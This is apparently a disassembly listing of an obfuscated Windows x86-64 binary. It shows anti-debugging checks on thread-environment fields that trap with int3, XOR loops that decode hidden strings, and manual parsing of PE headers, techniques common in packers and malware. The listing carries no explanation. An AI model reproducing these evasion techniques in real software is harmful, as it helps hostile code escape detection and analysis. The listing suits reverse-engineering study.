mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd10]
and rcx, rdx
mov rax, qword [rbp + 0xd18]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14005a114
inc edi
cmp edi, 7
jl 0x140059e04
movdqa xmm0, xmmword [0x140123490]
movdqu xmmword [rbp + 0xa48], xmm0
movdqa xmm1, xmmword [0x140123450]
movdqu xmmword [rbp + 0xa58], xmm1
movdqa xmm0, xmmword [0x140123510]
movdqu xmmword [rbp + 0xa68], xmm0
mov byte [rbp + 0xa78], __WSAFDIsSet
mov byte [rbp + 0xa79], WSACleanup
mov byte [rbp + 0xa7a], Ordinal_143
mov byte [rbp + 0xa7b], Ordinal_143
mov byte [rbp + 0xa7c], pe_nt_image_headers64
mov byte [rbp + 0xa7d], 0x90
mov byte [rbp + 0xa7e], 0xdf
mov byte [rbp + 0xa7f], 0xaf
mov byte [rbp + 0xa80], 2
mov byte [rbp + 0xa81], 8
mov byte [rbp + 0xa82], 0xb6
mov byte [rbp + 0xa83], 0xb9
mov byte [rbp + 0xa84], 0xc1
xor eax, eax
mov byte [rbp + 0xa85], al
mov r8, rbx
lea r10d, [rax + 0x3d]
mov r9, r12
movabs r14, 0x8080808080808081
movabs r15, 0x1110daaf0
movabs r12, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r14
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r14
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xa48]
xor dil, r8b
mov byte [rbp + r8 + 0xa48], dil
inc r8
add r9, r15
add r10, 0x3d
cmp r9, r11
jb 0x140059f20
mov byte [rbp + 0xa85], bl
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0xa48]
call fcn.140051d44
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
cmp rax, r10
mov r15, qword [rsp + 0x60]
movabs r12, 0x411041bb30
mov r14, qword [rbp + 0x30]
mov r11d, 0x930f525f
jne 0x14005a136
mov r9, rsi
mov rdi, rbx
mov r8d, ebx
mov r14d, 0xfeefbfff
mov rdx, r11
mov ecx, r8d
sar rdx, cl
mov rax, r10
shl rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r14
xor rcx, rax
add rdi, rcx
inc r8d
cmp r8d, 8
jl 0x140059fdd
mov rcx, rdi
xor rcx, r9
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd10], rax
add rcx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r14, qword [rbp + 0x30]
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14005a11f
inc edi
cmp edi, 5
jl 0x14005a09f
jmp 0x14005a136
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov r10d, 0x7dfe5890
mov r11d, 0x930f525f
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x14005a246
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x14005a154
xor rdi, r11
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r11
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14005a64e
inc edi
cmp edi, 7
jl 0x14005a1e5
lea rcx, [rbp + 0x1030]
call fcn.140069680
mov rdi, rax
lea rcx, [rbp + 0x1030]
call fcn.140069688
mov rdx, rax
mov r8, rdi
mov rcx, r14
call fcn.1400fbf70
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
mov r11d, 0x2aaaaaab
cmp rax, r10
jne 0x14005a3c8
mov r8, rsi
mov rdi, rbx
mov r9d, ebx
mov r15d, 0x930f525f
mov r14d, 0xfeefbfff
mov rdx, r15
mov ecx, r9d
sar rdx, cl
mov rax, r10
shl rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, r14
xor rcx, rax
add rdi, rcx
inc r9d
cmp r9d, 8
jl 0x14005a2a2
xor r8, rdi
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r15, qword [rsp + 0x60]
mov r14, qword [rbp + 0x30]
lea ecx, [rdi + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005a659
inc edi
cmp edi, 5
jl 0x14005a369
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x14005a4ec
mov rdi, rbx
mov r8d, r13d
movabs r9, 0x5684fef9ad4a0fe0
dec r8d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005a421
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r9
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14005a3ea
mov rax, rdi
xor rax, rdi
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov r9d, 0xdeadbeef
or rcx, r9
mov rax, rdi
or rax, 0x6e639f32
xor rcx, rax
mov eax, 0x930f525f
xor rcx, rax
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005a664
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x14005a489
lea rcx, [rbp + 0x1030]
call fcn.140069710
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
mov r11d, 1
cmp rax, r10
jne 0x14005a67a
mov r8, rsi
mov rdi, rbx
mov r9d, ebx
mov esi, 0x930f525f
mov r14d, 0xfeefbfff
mov rdx, rsi
mov ecx, r9d
sar rdx, cl
mov rax, r10
shl rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, r14
xor rcx, rax
add rdi, rcx
add r9d, r11d
cmp r9d, 8
jl 0x14005a52a
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r14, qword [rbp + 0x30]
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005a66f
add edi, r11d
cmp edi, 5
jl 0x14005a5ee
jmp 0x14005a685
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov esi, 0x930f525f
mov r9d, 0xdeadbeef
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x14005a799
mov rdi, rbx
mov rcx, r11
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
add rcx, r11
sub r9, r11
jne 0x14005a6a3
xor r8, rsi
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, rsi
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005aa0c
add edi, r11d
cmp edi, 7
jl 0x14005a737
movabs rax, 0xaa3266487a0948
mov qword [rbp + 0x38], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0x40], rax
mov qword [rbp + 0xe68], rbx
mov r8d, ebx
mov rdi, rbx
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0x38]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0x40]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xe68], cl
add rdi, r11
cmp r8d, 8
jb 0x14005a7c2
mov esi, ebx
test r15, r15
je 0x14005a8e2
mov rcx, rbx
movabs r12, 0x8080808080808081
mov rax, r12
mul r15
mov r8, rdx
shr r8, 7
add r8b, r15b
mov r9, r14
and ecx, 7
movzx edi, byte [rbp + rcx + 0xe68]
mov r11b, dil
xor r11b, r8b
mov r14d, edi
mov ecx, ebx
lea r10, [rbp + 0xe68]
movzx edi, dil
movzx eax, byte [r10]
add rdi, rax
xor rdi, qword [rbp + 0xe68]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r10
cmp ecx, 8
jb 0x14005a84b
movzx ecx, r11b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
mov r11d, 1
add esi, r11d
add r9, r11
movsxd rcx, esi
cmp rcx, r15
jb 0x14005a82e
movabs r12, 0x411041bb30
mov r14, qword [rbp + 0x30]
mov r10d, 0x7dfe5890
mov r9d, 0xdeadbeef
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x14005aa22
mov rdi, rbx
mov r8d, r13d
movabs r9, 0x5684fef9ad4a0fe0
sub r8d, r11d
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005a93f
sub ecx, r11d
or ecx, 0xfffffffc
add ecx, r11d
mov rax, r9
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14005a904
mov rax, rdi
xor rax, rdi
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov esi, 0x930f525f
xor rcx, rsi
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005aa17
add edi, r11d
mov eax, 0xa
cmp edi, eax
jl 0x14005a9a8
jmp 0x14005aa27
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov esi, 0x930f525f
mov rax, qword gs:[0x3f]
mov r15d, 0xfd6ccd6d
cmp rax, r10
jne 0x14005ab77
mov r9d, r15d
mov rdi, rbx
mov r8d, ebx
mov r14d, 0xfeefbfff
mov ecx, r8d
mov rdx, r10
shl rdx, cl
mov rax, rsi
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r14
xor rcx, rax
add rdi, rcx
add r8d, r11d
cmp r8d, 8
jl 0x14005aa4e
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, 0x7dfe5890
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r14, qword [rbp + 0x30]
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005b069
add edi, r11d
cmp edi, 5
jl 0x14005ab15
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x14005ac9d
mov rdi, rbx
mov r8d, r13d
movabs rsi, 0x5684fef9ad4a0fe0
sub r8d, r11d
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005abd4
sub ecx, r11d
or ecx, 0xfffffffc
add ecx, r11d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14005ab99
mov rax, rdi
xor rax, rdi
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
or rax, r9
xor rcx, rax
mov esi, 0x930f525f
xor rcx, rsi
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005b074
add edi, r11d
mov eax, 0xa
cmp edi, eax
jl 0x14005ac37
mov eax, 0x5a4d
cmp word [r14], ax
je 0x14005b095
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x14005adbf
mov rdi, rbx
mov rcx, r11
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
add rcx, r11
sub r9, r11
jne 0x14005acca
xor r8, rsi
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, rsi
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005b07f
add edi, r11d
cmp edi, 7
jl 0x14005ad5d
movdqa xmm0, xmmword [0x140123490]
movdqu xmmword [rbp + 0xa88], xmm0
movdqa xmm1, xmmword [0x140123440]
movdqu xmmword [rbp + 0xa98], xmm1
movdqa xmm0, xmmword [0x140123510]
movdqu xmmword [rbp + 0xaa8], xmm0
mov byte [rbp + 0xab8], __WSAFDIsSet
mov byte [rbp + 0xab9], WSACleanup
mov byte [rbp + 0xaba], Ordinal_143
mov byte [rbp + 0xabb], Ordinal_143
mov byte [rbp + 0xabc], pe_nt_image_headers64
mov byte [rbp + 0xabd], 0x90
mov byte [rbp + 0xabe], 0xdf
mov byte [rbp + 0xabf], 0xaf
mov byte [rbp + 0xac0], 2
mov byte [rbp + 0xac1], 8
mov byte [rbp + 0xac2], 0xb6
mov byte [rbp + 0xac3], 0xb9
mov byte [rbp + 0xac4], 0xc1
xor eax, eax
mov byte [rbp + 0xac5], al
mov r8, rbx
lea r10d, [rax + 0x3d]
mov r9, r12
movabs rsi, 0x8220837660
movabs r14, 0x8080808080808081
movabs r12, 0x1110daaf0
movabs r15, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r14
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r14
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xa88]
xor dil, r8b
mov byte [rbp + r8 + 0xa88], dil
add r8, r11
add r9, r12
add r10, 0x3d
cmp r9, rsi
jb 0x14005ae84
mov byte [rbp + 0xac5], bl
mov r8d, r11d
xor edx, edx
lea rcx, [rbp + 0xa88]
call fcn.140051d44
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
cmp rax, r10
movabs r12, 0x411041bb30
mov r14, qword [rbp + 0x30]
mov r15d, 0xfd6ccd6d
mov r11d, 0x930f525f
jne 0x14005b0a7
mov r8d, r15d
mov rdi, rbx
mov r9d, ebx
mov esi, 0xfeefbfff
mov rdx, r11
mov ecx, r9d
sar rdx, cl
mov rax, r10
shl rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, rsi
xor rcx, rax
add rdi, rcx
inc r9d
cmp r9d, 8
jl 0x14005af40
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs rsi, 0x8220837660
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005b08a
inc edi
cmp edi, 5
jl 0x14005b00a
jmp 0x14005b0ad
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
movabs rsi, 0x8220837660
mov r11d, 0x930f525f
jmp 0x14005b0ad
mov r9d, 0xdeadbeef
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x14005b1d5
mov rdi, rbx
mov r8d, r13d
movabs rsi, 0x5684fef9ad4a0fe0
dec r8d
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14005b108
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14005b0cf
mov rax, rdi
xor rax, rdi
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
or rax, r9
xor rcx, rax
xor rcx, r11
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movabs rsi, 0x8220837660
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005b695
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x14005b170
movsxd r13, dword [r14 + 0x3c]
add r13, r14
mov qword [rbp + 0x50], r13
mov rax, qword gs:[0x3f]
mov r14d, 1
cmp rax, r10
jne 0x14005b2f4
mov r8, rbx
mov ecx, r14d
lea r9d, [r14 + 4]
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
